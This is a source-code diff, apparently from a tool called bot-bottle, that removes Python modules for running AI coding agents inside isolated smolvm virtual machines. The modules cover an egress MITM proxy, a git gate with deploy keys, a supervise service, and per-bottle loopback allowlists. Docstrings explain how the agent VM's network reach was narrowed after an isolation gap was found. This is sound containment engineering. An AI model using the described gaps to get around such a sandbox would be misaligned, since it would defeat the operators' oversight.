"ADD rootfs.tar.gz /\n"
"USER node\n"
"WORKDIR /home/node\n"
)
docker_mod.build_image(image_ref, str(tmp_path), dockerfile=str(dockerfile))
image_tarball = binary.parent / "committed.image.tar"
docker_mod.save(image_ref, str(image_tarball))
try:
with ephemeral_registry() as handle:
digest = docker_mod.image_id(image_ref).split(":", 1)[-1][:16]
push_ref = f"{handle.push_endpoint}/bot-bottle-committed:{digest}"
pack_ref = f"{handle.pull_endpoint}/bot-bottle-committed:{digest}"
crane_push_tarball(handle, str(image_tarball), push_ref)
pack_create(pack_ref, binary)
finally:
image_tarball.unlink(missing_ok=True)
def _exec_tar_to_file(machine: str, dest: Path) -> None:
"""Snapshot the running VM's root filesystem to dest (.tar.gz).
Writes a gzip-compressed tar to _VM_COMMIT_TAR inside the VM via
machine_exec (same mechanism as provisioning), then copies it to the
host with machine_cp. This avoids binary-stdout piping through the
smolvm exec channel, which does not reliably handle large binary output.
A connectivity probe (machine_exec true) runs first so a concurrent-exec
limitation (smolvm may reject a second exec while -i -t is active) is
reported clearly rather than as a silent failure."""
# Connectivity probe — if smolvm rejects concurrent exec while an
# interactive session is running, fail clearly here.
probe = machine_exec(machine, ["true"])
if probe.returncode != 0:
die(
f"smolvm exec is not available for {machine!r} "
f"(exit {probe.returncode}: {probe.stderr.strip() or probe.stdout.strip() or '<no output>'}). "
f"If an interactive session is active, smolvm may not support concurrent exec."
)
# Create the compressed tar inside the VM.
# tar exits 1 when files change during archiving (normal for a live
# filesystem); only treat exit > 1 as fatal.
tar_result = machine_exec(
machine,
[
"tar", "--create", "--gzip",
"--exclude=./proc",
"--exclude=./sys",
"--exclude=./dev",
"--exclude=./run",
# /tmp and /var/tmp are ephemeral. Their stale contents
# (e.g. /tmp/claude-<uid>) have uid remapped by smolvm's
# pack process, causing Claude Code to refuse to use them
# on resume. Exclude both; _init_vm recreates them with
# mkdir -p + correct ownership on every boot.
"--exclude=./tmp",
"--exclude=./var/tmp",
f"--file={_VM_COMMIT_TAR}",
"--directory=/",
".",
],
)
if tar_result.returncode > 1:
die(
f"smolvm exec tar {machine!r} failed (exit {tar_result.returncode}): "
f"{tar_result.stderr.strip() or tar_result.stdout.strip() or '<no output>'}"
)
# Copy from VM to host, then clean up.
try:
machine_cp(f"{machine}:{_VM_COMMIT_TAR}", str(dest))
finally:
machine_exec(machine, ["rm", "-f", _VM_COMMIT_TAR])
-604
View File
@@ -1,604 +0,0 @@
"""End-to-end launch flow for the smolmachines backend.
Builds the sidecar bundle smolmachine, starts it as a sidecar VM
with real daemons + their config files, creates + starts the agent
smolVM, yields a `SmolmachinesBottle` handle, and tears everything
down on context exit.
The bundle's daemons consume the inner Plans the docker backend
already produces: egress reads routes + CAs from the EgressPlan.
Git-gate + supervise plumb through the same plans the docker
backend uses, minus the docker-network fields that don't apply here."""
from __future__ import annotations
import dataclasses
import os
from contextlib import ExitStack, contextmanager
from pathlib import Path
from typing import Callable, Generator
from ...egress import (
EGRESS_ROUTES_IN_CONTAINER,
egress_agent_env_entries,
egress_resolve_token_values,
egress_sidecar_env_entries,
)
from ...supervise import DB_PATH_IN_CONTAINER, SUPERVISE_PORT
from ...util import expand_tilde
from ..docker import util as docker_mod
from ..docker.egress import (
EGRESS_CA_IN_CONTAINER,
EGRESS_PORT as _EGRESS_PORT,
egress_tls_init,
)
from ..docker.git_gate import (
GIT_GATE_ACCESS_HOOK_IN_CONTAINER,
GIT_GATE_CREDS_DIR_IN_CONTAINER,
GIT_GATE_ENTRYPOINT_IN_CONTAINER,
GIT_GATE_HOOK_IN_CONTAINER,
)
from ...git_gate import (
provision_git_gate_dynamic_keys,
revoke_git_gate_provisioned_keys,
)
from ...image_cache import check_stale_path
from ...log import die, info, warn
from ...bottle_state import (
egress_state_dir,
git_gate_state_dir,
read_committed_image,
)
from .. import BottleImages
from . import loopback_alias as _loopback
from . import port_forward as _forward
from . import sidecar_bundle as _bundle
from . import smolvm as _smolvm
from .bottle import SmolmachinesBottle
from .bottle_plan import SmolmachinesBottlePlan
from .local_registry import crane_push_tarball, ephemeral_registry
# Repo root, used as the `docker build` context for the agent image.
_REPO_DIR = str(Path(__file__).resolve().parent.parent.parent.parent)
# Per-host cache for `smolvm pack create` outputs. Keyed by the
# docker image ID so a Dockerfile change automatically invalidates
# the cache. `pack create` is idempotent on the smolvm side but
# takes several seconds even on a no-op rebuild.
_SMOLMACHINE_CACHE_DIR = Path.home() / ".cache" / "bot-bottle" / "smolmachines"
# Container-internal listening ports for each bundle daemon. The
# sidecar VM publishes each one on a random host loopback port, and
# the launch flow wraps those raw ports with per-bottle forwarders.
_GIT_HTTP_PORT = 9420
_SUPERVISE_PORT = SUPERVISE_PORT
def build_or_load_images(plan: SmolmachinesBottlePlan) -> BottleImages:
"""Return pre-built or freshly built smolmachine artifact paths."""
return BottleImages(
agent=_agent_from_path(plan),
sidecar=_sidecar_from_path(plan),
)
def _sidecar_from_path(plan: SmolmachinesBottlePlan) -> Path:
"""Return the sidecar bundle artifact path, building it if needed."""
if _image_policy(plan) == "cached":
return _cached_smolmachine(_bundle.SIDECAR_BUNDLE_IMAGE, label="sidecar")
return _ensure_smolmachine(
_bundle.SIDECAR_BUNDLE_IMAGE,
dockerfile=_bundle.SIDECAR_BUNDLE_DOCKERFILE,
)
@contextmanager
def launch(
plan: SmolmachinesBottlePlan,
images: BottleImages,
*,
provision: Callable[[SmolmachinesBottlePlan, "SmolmachinesBottle"], str | None],
) -> Generator[SmolmachinesBottle, None, None]:
"""Run the bottle from pre-built images and yield a handle; tear everything
down on exit. Errors during bringup unwind any partial state
via the ExitStack."""
stack = ExitStack()
try:
loopback_ip, network = _allocate_resources(plan, stack)
plan = _mint_certs(plan)
proxy_host = loopback_ip
plan = _start_bundle(plan, network, proxy_host, Path(images.sidecar), stack)
_launch_vm(plan, Path(images.agent), proxy_host, stack)
_init_vm(plan)
bottle = SmolmachinesBottle(
plan.machine_name,
prompt_path=None,
guest_env=plan.guest_env,
agent_command=plan.agent_command,
agent_prompt_mode=plan.agent_prompt_mode,
agent_provider_template=plan.agent_provider_template,
terminal_title=f"{plan.spec.label} ({plan.spec.agent_name})" if plan.spec.label else plan.spec.agent_name,
terminal_color=plan.spec.color,
agent_workdir=plan.workspace_plan.workdir,
)
bottle.prompt_path = provision(plan, bottle)
yield bottle
finally:
_teardown_smolmachines(stack, plan)
def _teardown_smolmachines(
stack: ExitStack,
plan: SmolmachinesBottlePlan,
) -> None:
"""Unwind the ExitStack, then revoke any provisioned deploy keys.
ExitStack errors are caught and logged (non-fatal) so that key
revocation always runs. Revocation errors propagate a stranded
deploy key is a security concern the operator must address."""
teardown_exc: BaseException | None = None
try:
stack.close()
except BaseException as exc: # noqa: W0718 — teardown must not fail
teardown_exc = exc
warn(f"smolmachines teardown failed: {exc!r}")
bottle = plan.manifest.bottle
revoke_git_gate_provisioned_keys(bottle, git_gate_state_dir(plan.slug))
if teardown_exc is not None:
raise teardown_exc
def _allocate_resources(
plan: SmolmachinesBottlePlan,
stack: ExitStack,
) -> tuple[str, str]:
"""Reserve a per-bottle host address.
The per-bottle address scopes TSI's allowlist to this bottle's
forwarder-published ports so the agent can't reach other bottles'
or host services. The returned network name remains in the bundle
spec for compatibility with older helper tests; no Docker sidecar
container is launched."""
del stack
_loopback.ensure_pool()
loopback_ip = _loopback.allocate(plan.slug)
network = _bundle.bundle_network_name(plan.slug)
return loopback_ip, network
def _mint_certs(plan: SmolmachinesBottlePlan) -> SmolmachinesBottlePlan:
"""Mint the egress MITM CA and return the plan with CA paths filled."""
egress_ca_host, egress_ca_cert_only = egress_tls_init(
egress_state_dir(plan.slug),
)
egress_plan = dataclasses.replace(
plan.egress_plan,
mitmproxy_ca_host_path=egress_ca_host,
mitmproxy_ca_cert_only_host_path=egress_ca_cert_only,
)
return dataclasses.replace(plan, egress_plan=egress_plan)
def _start_bundle(
plan: SmolmachinesBottlePlan,
network: str,
proxy_host: str,
sidecar_artifact: Path,
stack: ExitStack,
) -> SmolmachinesBottlePlan:
"""Build the BundleLaunchSpec, start the sidecar VM from the pre-resolved
artifact, wrap its raw smolVM-published loopback ports with per-bottle
forwarders, stamp agent URLs from those forwarder ports, and register teardown."""
plan = _provision_git_gate_keys(plan)
bundle_spec = _bundle_launch_spec(plan, network, proxy_host)
token_env = _resolve_token_env(plan, dict(os.environ))
launch = _bundle.start_bundle_vm(
bundle_spec,
from_path=sidecar_artifact,
host_env={**os.environ, **token_env},
)
stack.callback(_bundle.stop_bundle_vm, plan.slug)
forward_specs = tuple(
_forward.ForwardSpec(
label=_label_for_port(container_port),
listen_host=proxy_host,
listen_port=0,
target_host="127.0.0.1",
target_port=host_port,
)
for container_port, host_port in launch.raw_ports.items()
)
handle = _forward.start_forwarder(forward_specs)
stack.callback(_forward.stop_forwarder, handle)
published_ports = {
_port_for_label(spec.label): spec.listen_port
for spec in handle.forwards
}
return _discover_urls(plan, proxy_host, published_ports)
def _provision_git_gate_keys(
plan: SmolmachinesBottlePlan,
) -> SmolmachinesBottlePlan:
if not plan.git_gate_plan.upstreams:
return plan
git_gate_plan = provision_git_gate_dynamic_keys(
plan.manifest.bottle,
plan.git_gate_plan,
git_gate_state_dir(plan.slug),
)
return dataclasses.replace(plan, git_gate_plan=git_gate_plan)
def _discover_urls(
plan: SmolmachinesBottlePlan,
proxy_host: str,
published_ports: dict[int, int],
) -> SmolmachinesBottlePlan:
"""Stamp URLs + guest_env from per-bottle forwarder ports.
`proxy_host` is the host IP that both TSI's allowlist and the
forwarder listeners are keyed to. The raw smolVM-published ports
are intentionally not advertised to the agent.
NO_PROXY includes `proxy_host` so supervise + git-gate URLs
bypass HTTPS_PROXY."""
agent_facing_host_port = published_ports[_EGRESS_PORT]
agent_proxy_url = f"http://{proxy_host}:{agent_facing_host_port}"
agent_git_gate_host = ""
if plan.git_gate_plan.upstreams:
git_gate_host_port = published_ports[_GIT_HTTP_PORT]
agent_git_gate_host = f"{proxy_host}:{git_gate_host_port}"
agent_supervise_url = ""
if plan.supervise_plan is not None:
supervise_host_port = published_ports[_SUPERVISE_PORT]
agent_supervise_url = f"http://{proxy_host}:{supervise_host_port}/"
existing_no_proxy = plan.guest_env.get("NO_PROXY", "localhost,127.0.0.1")
no_proxy = f"{existing_no_proxy},{proxy_host}"
guest_env = {
**plan.guest_env,
"HTTPS_PROXY": agent_proxy_url,
"HTTP_PROXY": agent_proxy_url,
"https_proxy": agent_proxy_url,
"http_proxy": agent_proxy_url,
"NO_PROXY": no_proxy,
"no_proxy": no_proxy,
}
if agent_git_gate_host:
guest_env["GIT_GATE_URL"] = f"http://{agent_git_gate_host}"
if agent_supervise_url:
guest_env["MCP_SUPERVISE_URL"] = agent_supervise_url
for entry in egress_agent_env_entries(plan.egress_plan):
name, value = entry.split("=", 1)
guest_env[name] = value
return dataclasses.replace(
plan,
guest_env=guest_env,
agent_proxy_url=agent_proxy_url,
agent_git_gate_host=agent_git_gate_host,
agent_supervise_url=agent_supervise_url,
)
def _launch_vm(
plan: SmolmachinesBottlePlan,
agent_from_path: Path,
proxy_host: str,
stack: ExitStack,
) -> None:
"""Create, patch, and start the smolvm VM; register teardown.
--allow-cidr is `proxy_host/32` the per-bottle loopback alias.
This ensures the guest can only reach sidecar forwarders published
on that IP, not host localhost or another bottle's alias.
force_allowlist confirms the allowlist persisted (patching smolvm
0.8.0's silent-drop of --allow-cidr when combined with --from) and
fails closed if it can't. Smolfile isn't usable here smolvm 0.8.0
makes --from and --smolfile mutually exclusive."""
tsi_cidr = f"{proxy_host}/32"
_smolvm.machine_create(
plan.machine_name,
from_path=agent_from_path,
allow_cidrs=[tsi_cidr],
env=plan.guest_env,
)
stack.callback(_smolvm.machine_delete, plan.machine_name)
# Confirm the booted VM's TSI allowlist will actually enforce the
# /32 before start (smolvm 0.8.0 silently drops `--allow-cidr`
# with `--from`, so the persisted state DB is patched if needed).
# Fails closed if enforcement can't be confirmed.
_loopback.force_allowlist(plan.machine_name, [tsi_cidr])
_smolvm.machine_start(plan.machine_name)
stack.callback(_smolvm.machine_stop, plan.machine_name)
def _init_vm(plan: SmolmachinesBottlePlan) -> None:
"""Repair filesystem ownership and wait for exec channel readiness.
Ownership repair: smolvm's pack process remaps files to the host
invoker's uid (e.g. 501 on macOS, 1000 on Linux). The chowns use
names not numbers so they're correct on either. /home/node must
be node:node so
Claude Code can write ~/.claude.json; /tmp + /var/tmp need root
mode 1777 so non-root processes can create per-uid scratch dirs.
All folded into one sh -c to avoid back-to-back exec calls
immediately after machine_start (libkrun exec-channel race).
mkdir -p guards: when booting from a committed snapshot, /tmp and
/var/tmp are excluded from the archive (they're ephemeral and their
stale contents would have wrong uid after smolvm's uid remap). The
directories must be created before chown/chmod can set permissions.
wait_exec_ready polls until the exec channel is ready for the
subsequent provision calls, replacing the empirical sleep."""
_smolvm.machine_exec(plan.machine_name, [
"sh", "-c",
"mkdir -p /tmp /var/tmp && "
"chown -R node:node /home/node && "
"chown root:root /tmp /var/tmp && "
"chmod 1777 /tmp /var/tmp",
])
_smolvm.wait_exec_ready(plan.machine_name)
def _label_for_port(port: int) -> str:
if port == _EGRESS_PORT:
return "egress"
if port == _GIT_HTTP_PORT:
return "git-http"
if port == _SUPERVISE_PORT:
return "supervise"
return f"port-{port}"
def _port_for_label(label: str) -> int:
if label == "egress":
return _EGRESS_PORT
if label == "git-http":
return _GIT_HTTP_PORT
if label == "supervise":
return _SUPERVISE_PORT
if label.startswith("port-"):
return int(label.removeprefix("port-"))
raise ValueError(f"unknown sidecar forward label: {label}")
def _bundle_launch_spec(
plan: SmolmachinesBottlePlan, network: str, proxy_host: str,
) -> _bundle.BundleLaunchSpec:
"""Build a BundleLaunchSpec from the resolved inner Plans.
Daemons in the CSV:
- egress is always present.
- git-gate + git-http are conditional on plan.git_gate_plan.upstreams.
- supervise is conditional on plan.supervise_plan.
Env + volumes are the union of the sidecar daemons' needs, with
daemon-private values only (HTTPS_PROXY is scoped to the
egress process by egress_entrypoint.sh see PRD 0024's bundle
bind-address PR)."""
daemons: list[str] = ["egress"]
env: list[str] = []
volumes: list[tuple[str, str, bool]] = []
# --- egress -----------------------------------------------
ep = plan.egress_plan
volumes.append((str(ep.mitmproxy_ca_host_path), EGRESS_CA_IN_CONTAINER, True))
if ep.routes:
volumes.append((str(ep.routes_path.parent), str(Path(EGRESS_ROUTES_IN_CONTAINER).parent), True))
env.extend(egress_sidecar_env_entries(ep))
# --- git-gate ---------------------------------------------
gp = plan.git_gate_plan
if gp.upstreams:
daemons += ["git-gate", "git-http"]
volumes += [
(str(gp.entrypoint_script), GIT_GATE_ENTRYPOINT_IN_CONTAINER, True),
(str(gp.hook_script), GIT_GATE_HOOK_IN_CONTAINER, True),
(str(gp.access_hook_script), GIT_GATE_ACCESS_HOOK_IN_CONTAINER, True),
]
for u in gp.upstreams:
keypath = expand_tilde(u.identity_file)
volumes.append((
keypath,
f"{GIT_GATE_CREDS_DIR_IN_CONTAINER}/{u.name}-key",
True,
))
if u.known_hosts_file:
volumes.append((
str(u.known_hosts_file),
f"{GIT_GATE_CREDS_DIR_IN_CONTAINER}/{u.name}-known_hosts",
True,
))
# --- supervise --------------------------------------------
sp = plan.supervise_plan
if sp is not None:
daemons.append("supervise")
env += [
f"SUPERVISE_BOTTLE_SLUG={plan.slug}",
f"SUPERVISE_DB_PATH={DB_PATH_IN_CONTAINER}",
f"SUPERVISE_PORT={SUPERVISE_PORT}",
]
volumes.append((str(sp.db_path), DB_PATH_IN_CONTAINER, False))
# Container ports the agent reaches from the smolvm guest —
# published on `proxy_host` so the TSI allowlist and the docker
# port-forward bindings point at the same IP. Egress is always
# the agent's HTTP/HTTPS proxy.
ports_to_publish: list[int] = [_EGRESS_PORT]
if gp.upstreams:
ports_to_publish.append(_GIT_HTTP_PORT)
if sp is not None:
ports_to_publish.append(_SUPERVISE_PORT)
return _bundle.BundleLaunchSpec(
slug=plan.slug,
network_name=network,
subnet=plan.bundle_subnet,
gateway=plan.bundle_gateway,
bundle_ip=plan.bundle_ip,
daemons_csv=",".join(daemons),
environment=tuple(env),
volumes=tuple(volumes),
ports_to_publish=tuple(ports_to_publish),
publish_host_ip=proxy_host,
)
def _resolve_token_env(
plan: SmolmachinesBottlePlan, host_env: dict[str, str],
) -> dict[str, str]:
"""Resolve the egress token env-var values from the host's
environ so they reach the bundle's process env via docker's
`-e NAME` inheritance. Empty when no routes declare auth."""
effective_env = {**host_env, **plan.agent_provision.provisioned_env}
return egress_resolve_token_values(plan.egress_plan.token_env_map, effective_env)
def _agent_from_path(plan: SmolmachinesBottlePlan) -> Path:
"""Return the `.smolmachine` artifact used for `machine create --from`.
Prefer a committed VM artifact when one is recorded and still
present. If the file was removed, fall back to the normal image
build + pack cache path.
"""
committed = read_committed_image(plan.slug)
if committed:
committed_path = Path(committed)
if committed_path.is_file():
info(f"using committed smolmachine {str(committed_path)!r}")
return committed_path
if _image_policy(plan) == "cached":
return _cached_smolmachine(plan.agent_image, label="agent")
# Build the agent image and pack it into a `.smolmachine`
# artifact (or hit the per-Dockerfile-digest cache). Runs here,
# not in prepare, so the docker-build output doesn't garble the
# dashboard's preflight modal.
return _ensure_smolmachine(
plan.agent_image,
dockerfile=plan.agent_dockerfile_path,
)
def stale_checks(plan: SmolmachinesBottlePlan) -> None:
"""Raise StaleImageError if a cached smolmachine artifact is older than the
configured threshold. Only runs when image_policy is 'cached'. Checks the
committed agent artifact first, then the cache-keyed agent and sidecar
artifacts. Called by the backend class's _image_stale_checks before any
resources are allocated."""
if _image_policy(plan) != "cached":
return
committed = read_committed_image(plan.slug)
if committed:
committed_path = Path(committed)
if committed_path.is_file():
check_stale_path("agent smolmachine artifact", committed_path)
elif docker_mod.image_exists(plan.agent_image):
digest = docker_mod.image_id(plan.agent_image).split(":", 1)[-1][:16]
artifact = _SMOLMACHINE_CACHE_DIR / f"{digest}.smolmachine.smolmachine"
if artifact.is_file():
check_stale_path("agent smolmachine artifact", artifact)
sidecar_image = _bundle.SIDECAR_BUNDLE_IMAGE
if docker_mod.image_exists(sidecar_image):
digest = docker_mod.image_id(sidecar_image).split(":", 1)[-1][:16]
sidecar_artifact = _SMOLMACHINE_CACHE_DIR / f"{digest}.smolmachine.smolmachine"
if sidecar_artifact.is_file():
check_stale_path("sidecar smolmachine artifact", sidecar_artifact)
def _image_policy(plan: object) -> str:
spec = getattr(plan, "spec", None)
return str(getattr(spec, "image_policy", "fresh"))
def _cached_smolmachine(image_ref: str, *, label: str) -> Path:
"""Return the cached smolmachine artifact for the current local image.
This is intentionally buildless: it inspects the existing local Docker
image ID and looks for the artifact keyed by that ID. If either side is
missing, the caller must use the fresh path to build/pack it.
"""
if not docker_mod.image_exists(image_ref):
die(
f"cached {label} image {image_ref!r} not found; "
"run without --cached-images to build it"
)
digest = docker_mod.image_id(image_ref).split(":", 1)[-1][:16]
sidecar = _SMOLMACHINE_CACHE_DIR / f"{digest}.smolmachine.smolmachine"
if not sidecar.is_file():
die(
f"cached {label} smolmachine artifact for {image_ref!r} not found; "
"run without --cached-images to build it"
)
info(f"using cached {label} smolmachine {str(sidecar)!r}")
return sidecar
def _ensure_smolmachine(image_ref: str, *, dockerfile: str = "") -> Path:
"""Build the agent docker image and convert it into a
`.smolmachine` artifact, caching the result under
`~/.cache/bot-bottle/smolmachines/` keyed by the docker image
ID (so a Dockerfile change automatically invalidates the cache).
Returns the `.smolmachine.smolmachine` sidecar path that's
the file `machine create --from` consumes (pack create produces
a launcher binary at `.smolmachine` plus the sidecar alongside
it; the sidecar is the actual artifact).
Conversion path: `docker build` (the existing layer cache
makes no-change rebuilds cheap) `docker save` to a tarball
spin up an ephemeral registry on a private docker network
`crane push --insecure` from a one-shot container on the same
network `smolvm pack create --image localhost:<host port>/...`
tear down the registry + network. The crane push detour
sidesteps the Docker-Desktop daemon's HTTPS preference for
non-loopback registries see the `local_registry` module
docstring for the gory details.
Each pack-create costs several seconds even on a hot cache,
so we skip the whole pipeline when the cached sidecar is
already on disk for this image ID."""
_SMOLMACHINE_CACHE_DIR.mkdir(parents=True, exist_ok=True)
docker_mod.build_image(image_ref, _REPO_DIR, dockerfile=dockerfile)
# `sha256:abcd...` -> `abcd...` first 16 chars: short enough to
# keep filenames manageable, long enough to make collisions
# astronomically unlikely.
digest = docker_mod.image_id(image_ref).split(":", 1)[-1][:16]
binary = _SMOLMACHINE_CACHE_DIR / f"{digest}.smolmachine"
sidecar = _SMOLMACHINE_CACHE_DIR / f"{digest}.smolmachine.smolmachine"
if sidecar.is_file():
return sidecar
tarball = _SMOLMACHINE_CACHE_DIR / f"{digest}.image.tar"
docker_mod.save(image_ref, str(tarball))
# On Linux, `docker save -o` writes the tarball with owner-only
# permissions (mode 600). The crane push container runs as UID
# 65532 (distroless nonroot) and can't read it through a bind
# mount unless world-read is set. The tarball is temporary and
# lives in ~/.cache, so 644 is safe.
tarball.chmod(0o644)
try:
with ephemeral_registry() as handle:
push_ref = f"{handle.push_endpoint}/bot-bottle:{digest}"
pack_ref = f"{handle.pull_endpoint}/bot-bottle:{digest}"
crane_push_tarball(handle, str(tarball), push_ref)
_smolvm.pack_create(pack_ref, binary)
finally:
# Tarball is ~500MB-1GB for the agent image; reclaim once
# the smolmachine artifact exists. The artifact itself is
# the long-lived cache entry.
tarball.unlink(missing_ok=True)
return sidecar
@@ -1,236 +0,0 @@
"""Ephemeral local OCI registry for the smolmachines agent-image
conversion path (PRD 0023 chunk 4c).
`smolvm pack create --image <ref>` only accepts OCI registry refs
it can't read the local docker daemon's image cache, an OCI
layout directory, or a `docker save` tarball. To convert the
agent's Dockerfile-built image into a `.smolmachine` artifact we
spin up a short-lived `registry:2.8.3` container alongside a
`crane` helper container on a private docker network, push via
`crane push --insecure <tarball> <registry-container>:5000/...`,
and let smolvm pull from the registry's published host port. The
network + both containers are torn down after the pack completes.
Why this two-container dance instead of plain `docker push`:
- Docker Desktop's daemon runs in its own Linux VM, so its
`localhost` is not the host's loopback. A registry bound to
the host's 127.0.0.1 is unreachable from the daemon side.
- `host.docker.internal` is reachable from the daemon but isn't
in Docker's default insecure-registries CIDRs (only `::1/128`
and `127.0.0.0/8` are), so `docker push` to it tries HTTPS,
hits a plain-HTTP registry, and dies with
`http: server gave HTTP response to HTTPS client`. Adding
`host.docker.internal` to daemon.json works but is a one-time
manual step the user has to do in Docker Desktop's UI.
- Going through a docker network sidesteps the host-vs-daemon
loopback mismatch (crane and registry containers see each
other on the network) AND the HTTPS preference (crane has an
`--insecure` flag that forces plain HTTP).
The registry is also published on a random host port so smolvm
a host process can pull from `localhost:<port>` via Docker's
port-forward. smolvm's bundled crane auto-falls-back to HTTP for
localhost addresses, so no insecure-registries config is needed
on that side either."""
from __future__ import annotations
import os
import socket
import subprocess
import time
import uuid
from contextlib import contextmanager
from dataclasses import dataclass
from typing import Generator
from ...log import die
# registry:2.8.3, pinned by digest. Same env-override pattern as the
# sidecar image pin in bot_bottle/backend/docker/sidecar_bundle.py.
REGISTRY_IMAGE = os.environ.get(
"BOT_BOTTLE_REGISTRY_IMAGE",
"registry@sha256:a3d8aaa63ed8681a604f1dea0aa03f100d5895b6a58ace528858a7b332415373",
)
# gcr.io/go-containerregistry/crane:latest, pinned by digest. ~10MB,
# stable upstream from Google; we only invoke `crane push --insecure`
# against a localhost-equivalent registry, so the trust surface is
# narrow.
CRANE_IMAGE = os.environ.get(
"BOT_BOTTLE_CRANE_IMAGE",
(
"gcr.io/go-containerregistry/crane@sha256:"
"0ae17ecb34315aa7cbff28f6eddee3b7adae0b2f90101260d990804db1eb0084"
),
)
# Internal port the registry binds to inside its container — fixed
# by the registry:2 image. The host-side mapping is random.
_REGISTRY_CONTAINER_PORT = "5000"
# How long to wait for the registry's HTTP layer to bind before
# giving up. Two seconds is empirically enough; 10s leaves headroom
# for slow CI runners without making the failure mode chatty.
_READY_TIMEOUT_S = 10.0
@dataclass(frozen=True)
class RegistryHandle:
"""Everything callers need to push to + pull from the ephemeral
registry.
`network` is the per-session docker network a `crane push`
container has to join it to reach the registry by name.
`push_endpoint` is the `<host>:<port>` form to embed in image
refs given to the crane push container (resolves via docker
network DNS). `pull_endpoint` is the `<host>:<port>` form a
host process (smolvm) uses; the registry's host port mapping
backs this."""
network: str
push_endpoint: str
pull_endpoint: str
@contextmanager
def ephemeral_registry() -> Generator[RegistryHandle, None, None]:
"""Bring up a per-session docker network + a `registry:2.8.3`
container on it (published on a random host port), yield a
`RegistryHandle`, force-remove both on exit.
The container is started with `--rm` so a clean exit cleans up
on its own; the `finally` block force-removes on abnormal exit
(the calling process crashes between yield and close)."""
session_id = uuid.uuid4().hex[:12]
network = f"bot-bottle-registry-net-{session_id}"
registry_name = f"bot-bottle-registry-{session_id}"
subprocess.run(
["docker", "network", "create", network],
check=True,
capture_output=True,
)
try:
subprocess.run(
[
"docker", "run", "-d", "--rm",
"--name", registry_name,
"--network", network,
# `-p :5000` (no IP prefix) binds the container's
# port 5000 on a random host port across all
# interfaces. The host side reaches the registry
# via this port — smolvm's `pack create` pulls from
# `localhost:<port>` and the docker port-forward
# routes there.
"-p", _REGISTRY_CONTAINER_PORT,
REGISTRY_IMAGE,
],
check=True,
capture_output=True,
)
try:
port = _host_port(registry_name)
_wait_ready(port)
yield RegistryHandle(
network=network,
push_endpoint=f"{registry_name}:{_REGISTRY_CONTAINER_PORT}",
pull_endpoint=f"localhost:{port}",
)
finally:
subprocess.run(
["docker", "rm", "-f", registry_name],
check=False,
capture_output=True,
)
finally:
subprocess.run(
["docker", "network", "rm", network],
check=False,
capture_output=True,
)
def crane_push_tarball(handle: RegistryHandle, tarball_path: str, ref: str) -> None:
"""Run `crane push --insecure <tarball> <ref>` inside a one-shot
container on the registry's docker network. `ref` should
reference the registry by `handle.push_endpoint` so the crane
container resolves it via docker network DNS.
Doesn't go through `docker push` to avoid the Docker-Desktop
daemon's HTTPS preference for non-loopback hostnames — crane's
`--insecure` flag forces plain HTTP, which is what the
registry container speaks."""
r = subprocess.run(
[
"docker", "run", "--rm",
"--network", handle.network,
"-v", f"{tarball_path}:/img.tar:ro",
CRANE_IMAGE,
"push", "--insecure", "/img.tar", ref,
],
capture_output=True,
text=True,
check=False,
)
if r.returncode != 0:
die(
f"crane push of {tarball_path!r} to {ref!r} failed: "
f"{(r.stderr or r.stdout or '').strip() or '<no output>'}"
)
def _host_port(name: str) -> int:
"""Resolve the host-side port docker mapped to the registry's
container port. `docker port <name> 5000/tcp` returns one or
more `host:port` lines (one per address family) we take the
first."""
r = subprocess.run(
["docker", "port", name, f"{_REGISTRY_CONTAINER_PORT}/tcp"],
capture_output=True,
text=True,
check=False,
)
if r.returncode != 0:
die(
f"docker port {name} {_REGISTRY_CONTAINER_PORT}/tcp failed: "
f"{(r.stderr or '').strip() or '<no stderr>'}"
)
# `0.0.0.0:54321\n[::]:54321\n` — split on the last colon to
# handle either IPv4 or IPv6 host syntax.
line = (r.stdout or "").splitlines()[0].strip()
_, _, port_str = line.rpartition(":")
try:
return int(port_str)
except ValueError:
die(f"unexpected `docker port` output: {line!r}")
def _wait_ready(port: int) -> None:
"""Block until the registry's HTTP layer accepts a TCP
connection on `127.0.0.1:<port>`, or `_READY_TIMEOUT_S`
elapses.
A successful TCP connect is sufficient registry:2.8.3 binds
after it's ready to serve `/v2/` requests, so the push that
follows will land on a working server. We probe loopback
specifically (not via the docker network) because this helper
runs on the host."""
deadline = time.monotonic() + _READY_TIMEOUT_S
last_err: Exception | None = None
while time.monotonic() < deadline:
try:
with socket.create_connection(("127.0.0.1", port), timeout=0.5):
return
except OSError as e:
last_err = e
time.sleep(0.1)
die(
f"local registry on 127.0.0.1:{port} did not accept "
f"connections within {_READY_TIMEOUT_S:.0f}s "
f"(last error: {last_err})"
)
@@ -1,314 +0,0 @@
"""Per-bottle loopback alias allocation + TSI allowlist
enforcement (PRD 0023, follow-up to PR #74).
After the pivot to host-loopback port-forwards, the smolmachines
TSI allowlist was `127.0.0.1/32` which meant the agent VM could
reach **any** service bound to macOS's loopback, not just the
bundle's published ports. Real downgrade from the docker
backend's `--internal` network isolation.
This module narrows the allowlist by allocating each bottle a
unique loopback alias (`127.0.0.16` .. `127.0.0.31`). The
bundle's port-forwards bind to that alias, and the alias's /32
is what TSI allows.
**Smolvm 0.8.0 quirk + workaround.** `smolvm machine create
--from <smolmachine> --net --allow-cidr X/32` silently drops the
flag verified empirically that the agent process's allowlist
ends up `null` in smolvm's persistent state DB (`~/Library/
Application Support/smolvm/server/smolvm.db`, `vms` table,
`data` BLOB), and the booted VM reaches all of `127.0.0.0/8`
regardless of what we passed. Workaround: after machine_create,
open the SQLite DB and patch the row's `allowed_cidrs` field
directly. Smolvm reads the DB at machine_start, so the patched
value takes effect on boot. Tested: enforcement is real the
guest's connect to a non-allowlisted IP fails with `Permission
denied`. Other paths we tried (machine update, stop-edit-
agent.config.json-restart, --smolfile, --image localhost:N/...)
were dead ends.
macOS only configures `127.0.0.1` on `lo0` by default; the
additional aliases require `sudo ifconfig lo0 alias`. We lazily
sudo-add the missing pool on first use per boot the aliases
persist on `lo0` until reboot, so subsequent launches don't
prompt.
On Linux the whole `127.0.0.0/8` is already routed to `lo`, so
docker can publish a bundle's ports directly on `127.0.0.<N>`
with no `ifconfig`/sudo step. `ensure_pool` is therefore a no-op
on Linux, but per-bottle alias *allocation* and the TSI allowlist
DB patch run on both platforms the isolation property is
identical, it's just cheaper to set up on Linux. The state-DB
path differs per platform (see `_smolvm_db_path`).
Allocation is coordinated by inspecting running bundle
containers' published host IPs — each bottle's bundle owns the
alias appearing in its port bindings. The lowest-numbered free
alias gets handed to a new bottle."""
from __future__ import annotations
import fcntl
import json
import os
import platform
import re
import sqlite3
